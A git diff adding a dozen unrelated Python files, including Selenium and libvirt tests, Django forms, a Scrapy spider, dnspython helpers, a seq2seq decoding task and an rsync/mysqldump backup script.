NoAlertPresentException +import unittest, time, re + +class RegisterUsersPasswordFail(unittest.TestCase): + def setUp(self): + self.driver = webdriver.Firefox() + self.driver.implicitly_wait(30) + self.base_url = "http://127.0.0.1:8000/" + self.verificationErrors = [] + self.accept_next_alert = True + + def test_register_users_password_fail(self): + driver = self.driver + driver.get(self.base_url + "/register/") + driver.find_element_by_id("id_username").clear() + driver.find_element_by_id("id_username").send_keys("dummy2") + driver.find_element_by_id("id_email").clear() + driver.find_element_by_id("id_email").send_keys("dummy2@gmail.com") + driver.find_element_by_id("id_password").clear() + driver.find_element_by_id("id_password").send_keys("123") + driver.find_element_by_id("id_password1").clear() + driver.find_element_by_id("id_password1").send_keys("1234") + driver.find_element_by_id("id_name").clear() + driver.find_element_by_id("id_name").send_keys("123") + driver.find_element_by_css_selector("input[type=\"submit\"]").click() + + def is_element_present(self, how, what): + try: self.driver.find_element(by=how, value=what) + except NoSuchElementException, e: return False + return True + + def is_alert_present(self): + try: self.driver.switch_to_alert() + except NoAlertPresentException, e: return False + return True + + def close_alert_and_get_its_text(self): + try: + alert = self.driver.switch_to_alert() + alert_text = alert.text + if self.accept_next_alert: + alert.accept() + else: + alert.dismiss() + return alert_text + finally: self.accept_next_alert = True + + def tearDown(self): + self.driver.quit() + self.assertEqual([], self.verificationErrors) + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard009/Python/0084353_forms.py b/pool/shard009/Python/0084353_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..32d57f10961d0b4977895b6759a3cdc3775fa39f --- /dev/null +++ b/pool/shard009/Python/0084353_forms.py @@ -0,0 +1,106 @@ +from random import sample as random_sample +from psutil import cpu_count +from django import forms +from dockit.models import User, IP, Container +from .utils import DHost + + +class UserForm(forms.ModelForm): + + def __init__(self, *args, **kwargs): + super(UserForm, self).__init__(*args, **kwargs) + for field in self.fields: + if field == "is_active": + continue + self.fields[field].widget.attrs["class"] = "form-control" + + def save(self, commit=True): + instance = super(UserForm, self).save(commit=False) + if commit: + instance.save() + if self.cleaned_data.get("password"): + instance.set_password(self.cleaned_data.get("password")) + instance.save() + + def clean_password(self): + password = self.cleaned_data.get("password") + if not (self.instance.id or password): + raise forms.ValidationError("Please provide password") + return password + + password = forms.CharField(widget=forms.PasswordInput, required=False) + + class Meta: + model = User + fields = ("email", "username", "is_active", "password", "ssh_pub_key") + + +class IPForm(forms.ModelForm): + + class Meta: + model = IP + exclude = [] + + +class ContainerForm(forms.ModelForm): + ram = forms.IntegerField(required=False) + cores = forms.IntegerField(required=False) + class Meta: + model = Container + fields = ('hostname', 'ip', 'image') + + def __init__(self, *args, **kwargs): + self.ssh_users = kwargs.pop('ssh_users') + super(ContainerForm, self).__init__(*args, **kwargs) + if 'edit_field' in self.data.keys(): + self.fields['hostname'].required = False + self.fields['ip'].required = False + self.fields['image'].required = False + + def clean(self): + ram = self.cleaned_data.get('ram', None) + cores = self.cleaned_data.get('cores', None) + + if cores: + cores = random_sample(range(0, cpu_count()), cores) + cores = ','.join(map(str, cores)) + self.cleaned_data['cores'] = cores + else: + cores = cpu_count() + cores = str(list(range(0, cores))).strip('[]').replace(" ", "") + self.cleaned_data['cores'] = cores + + if ram: + ram = int(ram) + self.cleaned_data['ram'] = ram + else: + ram = int(DHost.memory('total')) + self.cleaned_data['ram'] = ram + + if self.ssh_users: + for ssh_user in self.ssh_users: + user_obj = User.objects.get(email=ssh_user) + if not user_obj.ssh_pub_key: + raise forms.ValidationError("SSH key not found") + return self.cleaned_data + + +class ContainerEditForm(forms.ModelForm): + + class Meta: + model = Container + fields = ('user',) + + def __init__(self, *args, **kwargs): + self.ssh_users = kwargs.pop('ssh_users') + super(ContainerForm, self).__init__(*args, **kwargs) + + + def clean(self): + if self.ssh_users: + for ssh_user in self.ssh_users: + user_obj = User.objects.get(email=ssh_user) + if not user_obj.ssh_pub_key: + raise forms.ValidationError("SSH key not found") + return self.cleaned_data + diff --git a/pool/shard009/Python/0084356_virsh_vol_create_from.py b/pool/shard009/Python/0084356_virsh_vol_create_from.py new file mode 100644 index 0000000000000000000000000000000000000000..aea97b1da791d81b1776d3d1f34ea8badee91dcb --- /dev/null +++ b/pool/shard009/Python/0084356_virsh_vol_create_from.py @@ -0,0 +1,144 @@ +import logging +import os + +from autotest.client.shared import error + +from virttest import virsh +from virttest import libvirt_storage +from virttest.utils_test import libvirt as utlv + +from provider import libvirt_version + + +def run(test, params, env): + """ + Test virsh vol-create-from command to cover the following matrix: + + pool = [source, destination] + pool_type = [dir, disk, fs, logical, netfs, iscsi, scsi] + volume_format = [raw, qcow2, qed] + + Note, both 'iscsi' and 'scsi' type pools don't support create volume by + virsh, so which can't be destination pools. And for disk pool, it can't + create volume with specified format. + """ + + src_pool_type = params.get("src_pool_type") + src_pool_target = params.get("src_pool_target") + src_emulated_image = params.get("src_emulated_image") + src_vol_format = params.get("src_vol_format") + dest_pool_type = params.get("dest_pool_type") + dest_pool_target = params.get("dest_pool_target") + dest_emulated_image = params.get("dest_emulated_image") + dest_vol_format = params.get("dest_vol_format") + prealloc_option = params.get("prealloc_option") + status_error = params.get("status_error", "no") + + if not libvirt_version.version_compare(1, 0, 0): + if "--prealloc-metadata" in prealloc_option: + raise error.TestNAError("metadata preallocation not supported in" + " current libvirt version.") + + vol_file = "" + try: + # Create the src/dest pool + src_pool_name = "virt-%s-pool" % src_pool_type + dest_pool_name = "virt-%s-pool" % dest_pool_type + + pvt = utlv.PoolVolumeTest(test, params) + pvt.pre_pool(src_pool_name, src_pool_type, src_pool_target, + src_emulated_image, image_size="40M", + pre_disk_vol=["1M"]) + + if src_pool_type != dest_pool_type: + pvt.pre_pool(dest_pool_name, dest_pool_type, dest_pool_target, + dest_emulated_image, image_size="50M", + pre_disk_vol=["1M"]) + + # Print current pools for debugging + logging.debug("Current pools:%s", + libvirt_storage.StoragePool().list_pools()) + + # Create the src vol + vol_size = "1048576" + if src_pool_type in ["dir", "logical", "netfs", "fs"]: + src_vol_name = "src_vol" + pvt.pre_vol(vol_name=src_vol_name, vol_format=src_vol_format, + capacity=vol_size, allocation=None, + pool_name=src_pool_name) + else: + src_pv = libvirt_storage.PoolVolume(src_pool_name) + src_vols = src_pv.list_volumes().keys() + if src_vols: + src_vol_name = src_vols[0] + else: + raise error.TestFail("No volume in pool: %s" % src_pool_name) + # Prepare vol xml file + dest_vol_name = "dest_vol" + # According to BZ#1138523, we need inpect the right name + # (disk partition) for new volume + if dest_pool_type == "disk": + dest_vol_name = utlv.new_disk_vol_name(dest_pool_name) + if dest_vol_name is None: + raise error.TestError("Fail to generate volume name") + if dest_pool_type == "disk": + dest_vol_format = "" + prealloc_option = "" + vol_xml = """ + + %s + %s + + + + +""" % (dest_vol_name, vol_size, dest_vol_format) + logging.debug("Prepare the volume xml: %s", vol_xml) + vol_file = os.path.join(test.tmpdir, "dest_vol.xml") + xml_object = open(vol_file, 'w') + xml_object.write(vol_xml) + xml_object.close() + + # iSCSI and SCSI type pool can't create vols via virsh + if dest_pool_type in ["iscsi", "scsi"]: + raise error.TestFail("Unsupport create vol for %s type pool" + % dest_pool_type) + # Metadata preallocation is not supported for block volumes + if dest_pool_type in ["disk", "logical"]: + prealloc_option = "" + # Run run_virsh_vol_create_from to create dest vol + cmd_result = virsh.vol_create_from(dest_pool_name, vol_file, + src_vol_name, src_pool_name, + prealloc_option, ignore_status=True, + debug=True) + status = cmd_result.exit_status + + # Check result + if status_error == "no": + if status == 0: + dest_pv = libvirt_storage.PoolVolume(dest_pool_name) + dest_volumes = dest_pv.list_volumes().keys() + logging.debug("Current volumes in %s: %s", + dest_pool_name, dest_volumes) + if dest_vol_name not in dest_volumes: + raise error.TestFail("Can't find volume: % from pool: %s" + % (dest_vol_name, dest_pool_name)) + else: + raise error.TestFail(cmd_result.stderr) + else: + if status: + logging.debug("Expect error: %s", cmd_result.stderr) + else: + raise error.TestFail("Expect fail, but run successfully!") + finally: + # Cleanup: both src and dest should be removed + try: + pvt.cleanup_pool(src_pool_name, src_pool_type, src_pool_target, + src_emulated_image) + except error.TestFail, detail: + logging.error(str(detail)) + if src_pool_type != dest_pool_type: + pvt.cleanup_pool(dest_pool_name, dest_pool_type, dest_pool_target, + dest_emulated_image) + if os.path.isfile(vol_file): + os.remove(vol_file) diff --git a/pool/shard009/Python/0084360_areas.py b/pool/shard009/Python/0084360_areas.py new file mode 100644 index 0000000000000000000000000000000000000000..7374d1246414224c6fbc0c911c093041f69a1f8a --- /dev/null +++ b/pool/shard009/Python/0084360_areas.py @@ -0,0 +1,47 @@ +# -*- coding: utf-8 -*- +from scrapy import Spider, Request +from scrapy.loader import ItemLoader +from soccerway.items import Area +from urllib.parse import urlencode, urlparse, parse_qs +from datetime import datetime + +class AreasSpider(Spider): + name = "areas" + allowed_domains = ["http://www.soccerway.mobi"] + start_urls = ['http://www.soccerway.mobi/?'] + params = { + "sport": "soccer", + "page": "leagues", + "view" : "by_area", + "area_id" : "212", + "localization_id": "www" + } + def start_requests(self): + for i in range(1,213): # 1 - 212 + self.params['area_id'] = str(i) + request = Request(url=self.start_urls[0]+urlencode(self.params), callback=self.parse) + request.meta['proxy'] = 'http://127.0.0.1:8118' + yield request + + def parse(self, response): + l = ItemLoader(item=Area(), response=response) + l.add_value('id', parse_qs(response.xpath('//div[@class="clearfix subnav level-1"]//li//a[2]/@href').extract()[0])['area_id'][0]) + l.add_xpath('name', '//div[@class="clearfix subnav level-1"]//li//a[2]/text()') + l.add_value('updated', datetime.utcnow().isoformat()) # you can also use literal values + return l.load_item() + #self.log('URL: {}'.format(response.url)) + + """ + def parse(self, response): + venue = Venue() + venue['country'], venue['city'], venue['name'] = response.css('title::text')[0].extract().split(',') + res = response.xpath('//td//b/text()') + if len(res) > 0: + venue['opened'] = res[0].extract() + res = response.xpath('//td//b/text()') + if len(res) > 1: + venue['capacity'] = res[1].extract() + venue['lat'], venue['lng'] = response.xpath('//script/text()')[1].re(r'\((.*)\)')[1].split(',') + return venue + """ + diff --git a/pool/shard009/Python/0084366_inet.py b/pool/shard009/Python/0084366_inet.py new file mode 100644 index 0000000000000000000000000000000000000000..7dd01f1e6b243a842bb0058b6af9d8fd559f9db0 --- /dev/null +++ b/pool/shard009/Python/0084366_inet.py @@ -0,0 +1,90 @@ +# Copyright (C) 2003-2005 Nominum, Inc. +# +# Permission to use, copy, modify, and distribute this software and its +# documentation for any purpose with or without fee is hereby granted, +# provided that the above copyright notice and this permission notice +# appear in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT +# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +"""Generic Internet address helper functions.""" + +import socket + +import dns.ipv4 +import dns.ipv6 + + +# We assume that AF_INET is always defined. + +AF_INET = socket.AF_INET + +# AF_INET6 might not be defined in the socket module, but we need it. +# We'll try to use the socket module's value, and if it doesn't work, +# we'll use our own value. + +try: + AF_INET6 = socket.AF_INET6 +except AttributeError: + AF_INET6 = 9999 + +def inet_pton(family, text): + """Convert the textual form of a network address into its binary form. + + @param family: the address family + @type family: int + @param text: the textual address + @type text: string + @raises NotImplementedError: the address family specified is not + implemented. + @rtype: string + """ + + if family == AF_INET: + return dns.ipv4.inet_aton(text) + elif family == AF_INET6: + return dns.ipv6.inet_aton(text) + else: + raise NotImplementedError + +def inet_ntop(family, address): + """Convert the binary form of a network address into its textual form. + + @param family: the address family + @type family: int + @param address: the binary address + @type address: string + @raises NotImplementedError: the address family specified is not + implemented. + @rtype: string + """ + if family == AF_INET: + return dns.ipv4.inet_ntoa(address) + elif family == AF_INET6: + return dns.ipv6.inet_ntoa(address) + else: + raise NotImplementedError + +def af_for_address(text): + """Determine the address family of a textual-form network address. + + @param text: the textual address + @type text: string + @raises ValueError: the address family cannot be determined from the input. + @rtype: int + """ + try: + junk = dns.ipv4.inet_aton(text) + return AF_INET + except: + try: + junk = dns.ipv6.inet_aton(text) + return AF_INET6 + except: + raise ValueError diff --git a/pool/shard009/Python/0084367_test_templatetags.py b/pool/shard009/Python/0084367_test_templatetags.py new file mode 100644 index 0000000000000000000000000000000000000000..05b2faeedba6208fb044701dad249d74ef6ee25d --- /dev/null +++ b/pool/shard009/Python/0084367_test_templatetags.py @@ -0,0 +1,57 @@ +# file test_existdb/test_templatetags.py +# +# Copyright 2011 Emory University Libraries +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from lxml import etree +import unittest +try: + from unittest import skipIf +except ImportError: + from unittest2 import skipIf + +from eulexistdb.db import EXISTDB_NAMESPACE +from eulxml.xmlmap import XmlObject +try: + # currently requires django + from eulexistdb.templatetags.existdb import exist_matches +except ImportError: + exist_matches = None + + +@skipIf(exist_matches is None, 'Requires Django') +class ExistMatchTestCase(unittest.TestCase): +# test exist_match template tag explicitly + SINGLE_MATCH = """Pitts v. Freeman +school desegregation case files""" % EXISTDB_NAMESPACE + MULTI_MATCH = """Pitts v. <exist:match xmlns:exist="%(ex)s">Freeman</exist:match> +<exist:match xmlns:exist="%(ex)s">school</exist:match> <exist:match xmlns:exist="%(ex)s">desegregation</exist:match> +case files""" % {'ex': EXISTDB_NAMESPACE} + + def setUp(self): + self.content = XmlObject(etree.fromstring(self.SINGLE_MATCH)) # placeholder + + def test_single_match(self): + self.content.node = etree.fromstring(self.SINGLE_MATCH) + format = exist_matches(self.content) + self.assert_('Pitts v. Freeman' + in format, 'exist:match tag converted to span for highlighting') + + def test_multiple_matches(self): + self.content.node = etree.fromstring(self.MULTI_MATCH) + format = exist_matches(self.content) + self.assert_('Pitts v. Freeman' + in format, 'first exist:match tag converted') + self.assert_('school desegregation' + in format, 'second and third exist:match tags converted') \ No newline at end of file diff --git a/pool/shard009/Python/0084369_decode_text.py b/pool/shard009/Python/0084369_decode_text.py new file mode 100644 index 0000000000000000000000000000000000000000..eb8d710edc3079f6aa4e809fd7c349c3588ac3a7 --- /dev/null +++ b/pool/shard009/Python/0084369_decode_text.py @@ -0,0 +1,188 @@ +# Copyright 2017 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +""" +Task where both the input and output sequence are plain text. +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +import functools +from pydoc import locate + +import numpy as np + +import tensorflow as tf +from tensorflow import gfile + +from seq2seq.tasks.inference_task import InferenceTask, unbatch_dict + + +def _get_prediction_length(predictions_dict): + """Returns the length of the prediction based on the index + of the first SEQUENCE_END token. + """ + tokens_iter = enumerate(predictions_dict["predicted_tokens"]) + return next(((i + 1) for i, _ in tokens_iter if _ == "SEQUENCE_END"), + len(predictions_dict["predicted_tokens"])) + + +def _get_unk_mapping(filename): + """Reads a file that specifies a mapping from source to target tokens. + The file must contain lines of the form \t" + + Args: + filename: path to the mapping file + + Returns: + A dictionary that maps from source -> target tokens. + """ + with gfile.GFile(filename, "r") as mapping_file: + lines = mapping_file.readlines() + mapping = dict([_.split("\t")[0:2] for _ in lines]) + mapping = {k.strip(): v.strip() for k, v in mapping.items()} + return mapping + + +def _unk_replace(source_tokens, + predicted_tokens, + attention_scores, + mapping=None): + """Replaces UNK tokens with tokens from the source or a + provided mapping based on the attention scores. + + Args: + source_tokens: A numpy array of strings. + predicted_tokens: A numpy array of strings. + attention_scores: A numeric numpy array + of shape `[prediction_length, source_length]` that contains + the attention scores. + mapping: If not provided, an UNK token is replaced with the + source token that has the highest attention score. If provided + the token is insead replaced with `mapping[chosen_source_token]`. + + Returns: + A new `predicted_tokens` array. + """ + result = [] + for token, scores in zip(predicted_tokens, attention_scores): + if token == "UNK": + max_score_index = np.argmax(scores) + chosen_source_token = source_tokens[max_score_index] + new_target = chosen_source_token + if mapping is not None and chosen_source_token in mapping: + new_target = mapping[chosen_source_token] + result.append(new_target) + else: + result.append(token) + return np.array(result) + + +class DecodeText(InferenceTask): + """Defines inference for tasks where both the input and output sequences + are plain text. + + Params: + delimiter: Character by which tokens are delimited. Defaults to space. + unk_replace: If true, enable unknown token replacement based on attention + scores. + unk_mapping: If `unk_replace` is true, this can be the path to a file + defining a dictionary to improve UNK token replacement. Refer to the + documentation for more details. + dump_attention_dir: Save attention scores and plots to this directory. + dump_attention_no_plot: If true, only save attention scores, not + attention plots. + dump_beams: Write beam search debugging information to this file. + """ + + def __init__(self, params): + super(DecodeText, self).__init__(params) + self._unk_mapping = None + self._unk_replace_fn = None + + if self.params["unk_mapping"] is not None: + self._unk_mapping = _get_unk_mapping(self.params["unk_mapping"]) + if self.params["unk_replace"]: + self._unk_replace_fn = functools.partial( + _unk_replace, mapping=self._unk_mapping) + + self._postproc_fn = None + if self.params["postproc_fn"]: + self._postproc_fn = locate(self.params["postproc_fn"]) + if self._postproc_fn is None: + raise ValueError("postproc_fn not found: {}".format( + self.params["postproc_fn"])) + + @staticmethod + def default_params(): + params = {} + params.update({ + "delimiter": " ", + "postproc_fn": "", + "unk_replace": False, + "unk_mapping": None, + }) + return params + + def before_run(self, _run_context): + fetches = {} + fetches["predicted_tokens"] = self._predictions["predicted_tokens"] + fetches["features.source_len"] = self._predictions["features.source_len"] + fetches["features.source_tokens"] = self._predictions[ + "features.source_tokens"] + + if "attention_scores" in self._predictions: + fetches["attention_scores"] = self._predictions["attention_scores"] + + return tf.train.SessionRunArgs(fetches) + + def after_run(self, _run_context, run_values): + fetches_batch = run_values.results + for fetches in unbatch_dict(fetches_batch): + # Convert to unicode + fetches["predicted_tokens"] = np.char.decode( + fetches["predicted_tokens"].astype("S"), "utf-8") + predicted_tokens = fetches["predicted_tokens"] + + # If we're using beam search we take the first beam + if np.ndim(predicted_tokens) > 1: + predicted_tokens = predicted_tokens[:, 0] + + fetches["features.source_tokens"] = np.char.decode( + fetches["features.source_tokens"].astype("S"), "utf-8") + source_tokens = fetches["features.source_tokens"] + source_len = fetches["features.source_len"] + + if self._unk_replace_fn is not None: + # We slice the attention scores so that we do not + # accidentially replace UNK with a SEQUENCE_END token + attention_scores = fetches["attention_scores"] + attention_scores = attention_scores[:, :source_len - 1] + predicted_tokens = self._unk_replace_fn( + source_tokens=source_tokens, + predicted_tokens=predicted_tokens, + attention_scores=attention_scores) + + sent = self.params["delimiter"].join(predicted_tokens).split( + "SEQUENCE_END")[0] + + # Apply postproc + if self._postproc_fn: + sent = self._postproc_fn(sent) + + sent = sent.strip() + + print(sent) diff --git a/pool/shard009/Python/0084370_pyrsync.py b/pool/shard009/Python/0084370_pyrsync.py new file mode 100644 index 0000000000000000000000000000000000000000..8a62215ace991a2eb72d72fa506ef704622cbb55 --- /dev/null +++ b/pool/shard009/Python/0084370_pyrsync.py @@ -0,0 +1,202 @@ +#! /usr/local/bin/python + +__version__ = "0.1" +__author__ = "Maxime Cayer" +__licence__ = "GNU GPL 2" + +## +# +# Python Modules import +# +## + +from os import mkdir, chdir, path +from os.path import exists, join +from sys import exit, argv +from datetime import datetime +from subprocess import call, list2cmdline +import logging +import json + +## +# +# Script configuration +# +## + +HOME = path.dirname(argv[0]) +CONFIG = "pyrsync.json" +DB_DUMP_DIR = join(HOME,"databases") +RSYNC = "/usr/bin/rsync" +RSYNC_MODE_PATH = 1 +RSYNC_MODE_MODULE = 2 +RSYNC_SEPARATORS = { + RSYNC_MODE_PATH:":", + RSYNC_MODE_MODULE:"::" + } +LOG_FILENAME = "pyrsync.log" +logging.basicConfig(filename=join(HOME,LOG_FILENAME),level=logging.DEBUG,format='%(levelname)s : %(asctime)s : %(message)s') +config = None + +## +# +# Functions +# +## + +def verify_env(): + global config + + if not exists(DB_DUMP_DIR): + try: + mkdir(DB_DUMP_DIR) + except Exception, e: + logging.error("Can't create database dump dir : "+str(e)) + return False + + if not exists(join(HOME,CONFIG)): + logging.error("Config file not found") + return False + + try: + f = open(join(HOME,CONFIG)) + config = json.load(f) + f.close() + except Exception, e: + logging.error("Can't read config : "+str(e)) + return False + + if "notification" not in config: + logging.error("Keyword 'notification' not found in config") + return False + + if "hosts" in config: + if len(config['hosts']) == 0: + logging.error("No hosts found for synchronisation") + return False + else: + logging.error("Keyword 'hosts' not found in config") + return False + + if "databases" in config: + if len(config['databases']) > 0: + try: + call("mysqldump") + except OSError, e: + logging.error("Can't call mysqldump, database backup not possible : "+str(e)) + return False + else: + logging.info("No databases found to backup") + else: + logging.error("Keyword 'databases' not found in config") + return False + + if "directories" in config: + if len(config['directories']) == 0: + logging.info("No directories found to be rsynced") + else: + logging.error("Keyword 'directories' not found in config") + return False + + if "exclusions" in config: + if len(config['directories']) == 0: + logging.info("No directories found to be excluded") + else: + logging.error("Keyword 'exclusions' not found in config") + return False + + return True + +def backup_database(db): + sql_file = join(DB_DUMP_DIR,str(db["name"])+".sql") + with open(sql_file, "w") as outfile: + logging.info("Backup of database "+str(db["name"])) + call(["mysqldump","-u",str(db['username']),"-h","localhost","--password="+str(db['password']),"--skip-lock-tables",str(db["name"])], stdout=outfile) + logging.info("End of database backup") + +def get_rsync_options(host_config): + global config + + options = [] + + # RSYNC options + short_options = "-" + long_options = [] + + for opt in host_config['options']: + if len(opt) == 1: + if host_config['options'][opt] == None: + short_options += opt + else: + long_options.append("-"+opt+" '"+host_config['options'][opt]+"'") + else: + if host_config['options'][opt] == None: + long_options.append("--"+opt) + else: + long_options.append("--"+opt+"="+host_config['options'][opt]) + + options.append(short_options) + options = options+long_options + + # Directories to synchronize + if len(config['databases']) > 0: + options.append(DB_DUMP_DIR) + + if len(config['directories']) > 0: + for path in config['directories']: + options.append(path) + + # Connection to host + connection = (host_config['username']+"@" + +host_config['host'] + +RSYNC_SEPARATORS[host_config['mode']] + +host_config['path']) + + options.append(connection) + + # Directories to exclude + if len(config['exclusions']) > 0: + for path in config['exclusions']: + options.append("--exclude="+path) + + return options + +def sync(): + global config + + for host in config['hosts']: + logging.info("Syncing to host "+str(host["name"])) + + options = get_rsync_options(host) + cmd = [RSYNC]+options + + call(cmd) + + logging.info("Synchronisation complete") + +def main(): + global config + + chdir(HOME) + + logging.info("Execution beginning") + + if verify_env(): + if config != None: + for db in config['databases']: + backup_database(db) + + if len(config['databases']) > 0 or len(config['directories']) > 0: + sync() + + logging.info("Execution end") + +## +# +# Main +# +## + +if __name__ == "__main__": + main() + diff --git a/pool/shard009/Python/0084380_example.py b/pool/shard009/Python/0084380_example.py new file mode 100644 index 0000000000000000000000000000000000000000..87ed44704ca1ee4c384bc8c3abce7d3c59cb9147 --- /dev/null +++ b/pool/shard009/Python/0084380_example.py @@ -0,0 +1,35 @@ +""" +Example of how to convert a set of atoms into a DOT graph description + +Refer to README.md before use. + +Warning to run this you need to checkout the obscolete-Python-PLN tag. + +""" + +from opencog.atomspace import AtomSpace, TruthValue, types, get_type_name +from opencog.scheme_wrapper import load_scm, scheme_eval, scheme_eval_h, __init__ +import dot + +__author__ = 'Cosmo Harrigan' + +atomspace = AtomSpace() + +data = ["opencog/scm/core_types.scm", + "opencog/scm/utilities.scm", + "opencog/python/pln_old/examples/tuffy/smokes/smokes.scm"] + +# Optionally, you could also include this file for a larger graph sample: +# "opencog/python/pln_old/examples/tuffy/smokes/extra-data.scm" + +for item in data: + load_scm(atomspace, item) + +# Define the set of atoms to include +atomset = atomspace.get_atoms_by_type(types.Atom) + +# Obtain a description of the subhypergraph in the DOT graph description +# language +dot_output = dot.get_dot_representation(atomset) + +print dot_output diff --git a/pool/shard009/Python/0084381_completion.py b/pool/shard009/Python/0084381_completion.py new file mode 100644 index 0000000000000000000000000000000000000000..eddf6e128066d117cb1affd11798beb520d9364c --- /dev/null +++ b/pool/shard009/Python/0084381_completion.py @@ -0,0 +1,87 @@ +import os +import subprocess + +import sys + + +class Completion(object): + + def __init__(self, ddk): + exe_path = ddk.get_exe_path() + exe_name = sys.argv[0].split(os.path.sep)[-1] + ddk_file = exe_path + "/" + exe_name + self.__ddk = ddk + self.__ddk_path = ddk_file + + def get_completion_package_update(self, word_number, input_list): + return self.__ddk.get_list_of_packages() + + def get_completion_project_get(self, word_number, input_list): + return self.__ddk.get_list_of_projects() + + def get_completion_project_init(self, word_number, input_list): + return self.__ddk.get_list_of_projects() + + def parse(self, word_number, input_list): + word_number = int(word_number) + + if input_list[-1][0] == "-": + cmd = input_list[0:word_number] + cmd[0] = "" + self.__ddk_path + "" + cmd.append("--help") + result = self.parse_options(cmd) + else: + if word_number == 1 or word_number == 2: + cmd = input_list[0:word_number] + cmd[0] = self.__ddk_path + cmd.append("--help") + result = self.parse_commands(cmd) + else: + command_name = input_list[1] + "_" + input_list[2] + completion_method = getattr(self, "get_completion_" + command_name, None) + if callable(completion_method): + result = completion_method(word_number, input_list) + else: + result = [""] + + print " ".join(result) + + def parse_commands(self, cmd): + help_string = subprocess.check_output(cmd) + help_lines = help_string.split("\n") + result = [] + skip = True + for line in help_lines: + if not skip: + result.append(line[0:22].strip()) + elif line == "Available commands:" or line == "Available actions:": + skip = False + return result + + def parse_options(self, cmd): + try: + help_string = subprocess.check_output(cmd, stderr=subprocess.STDOUT) + except subprocess.CalledProcessError: + return [""] + + help_lines = help_string.split("\n") + result = [] + skip = True + for line in help_lines: + if not skip: + if line == "": + skip = True + else: + result.append(line[0:22].strip()) + elif line == "Options:": + skip = False + + cleaned_result = [] + for option_info in result: + parts = option_info.split(",") + for part in parts: + part = part.strip() + if part.startswith("--"): + cleaned_result.append(part.split(" ")[0]) + + return cleaned_result diff --git a/pool/shard009/Python/0084382_cmd_args.py b/pool/shard009/Python/0084382_cmd_args.py new file mode 100644 index 0000000000000000000000000000000000000000..4d0e5e303c64d209f78f501bf60541fd19b2eef0 --- /dev/null +++ b/pool/shard009/Python/0084382_cmd_args.py @@ -0,0 +1,79 @@ +''' +Created on Jan 15 2019 + +@author: Jonathan Schultz + +This file contains code that allows the default argument values to be specified +on the command line. +''' + +from argparse import _SubParsersAction + +def parse_cmd_args(self, args=None): + + def prepare_to_read_cmd_args(item): + ''' + Before reading the command-line arguments, we need to fudge a few things: + 1. If there are subparsers, we need a dest in order to know in which + subparser the command-line values should be stored. + 2. Any required argument or mutex group needs to be made not required, + otherwise it will be compulsory to enter those values on the command + line. + We save the everything as it was before the fudge, so we can restore later. + ''' + for action in item._actions: + if isinstance(action, _SubParsersAction): + action.save_dest = action.dest + if not action.dest: + action.dest = '_subparser' + else: + action.save_required = action.required + action.required = False + action.save_nargs = action.nargs + if action.nargs == '+': + action.nargs = '*' + elif action.nargs is None: + action.nargs = '?' + + for mutex_group in item._mutually_exclusive_groups: + mutex_group.save_required = mutex_group.required + mutex_group.required = False + + def overwrite_default_values(item, cmd_args): + ''' + Subsistute arguments provided on the command line in the place of the + default values provided to argparse. + ''' + for action in item._actions: + if isinstance(action, _SubParsersAction): + subparser_arg = getattr(cmd_args, action.dest, None) + if subparser_arg: + overwrite_default_values(action.choices[subparser_arg], cmd_args) + else: + dest = getattr(action, 'dest', None) + if dest: + cmd_arg = getattr(cmd_args, dest, None) + if cmd_arg: + action.default = cmd_arg + + def restore_original_configuration(item): + ''' + Restore the old values as they were to start with. + ''' + for action in item._actions: + if isinstance(action, _SubParsersAction): + action.dest = action.save_dest + del action.save_dest + else: + action.required = action.save_required + del action.save_required + action.nargs = action.save_nargs + del action.save_nargs + + for mutex_group in item._mutually_exclusive_groups: + mutex_group.required = mutex_group.save_required + del mutex_group.save_required + + prepare_to_read_cmd_args(self) + overwrite_default_values(self, self.original_parse_args(args)) + restore_original_configuration(self) diff --git a/pool/shard009/Python/0084386_test_none_resource.py b/pool/shard009/Python/0084386_test_none_resource.py new file mode 100644 index 0000000000000000000000000000000000000000..32122276a339f3c4ba95b54aedb551aaa582f9e0 --- /dev/null +++ b/pool/shard009/Python/0084386_test_none_resource.py @@ -0,0 +1,77 @@ +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from heat.common import template_format +from heat.tests import common +from heat.tests import utils + + +class NoneResourceTest(common.HeatTestCase): + + tmpl = ''' +heat_template_version: 2015-10-15 +resources: + none: + type: OS::Heat::None + properties: + ignored: foo +outputs: + anything: + value: {get_attr: [none, anything]} +''' + + def _create_none_stack(self): + self.t = template_format.parse(self.tmpl) + self.stack = utils.parse_stack(self.t) + self.rsrc = self.stack['none'] + self.assertIsNone(self.rsrc.validate()) + self.stack.create() + self.assertEqual(self.rsrc.CREATE, 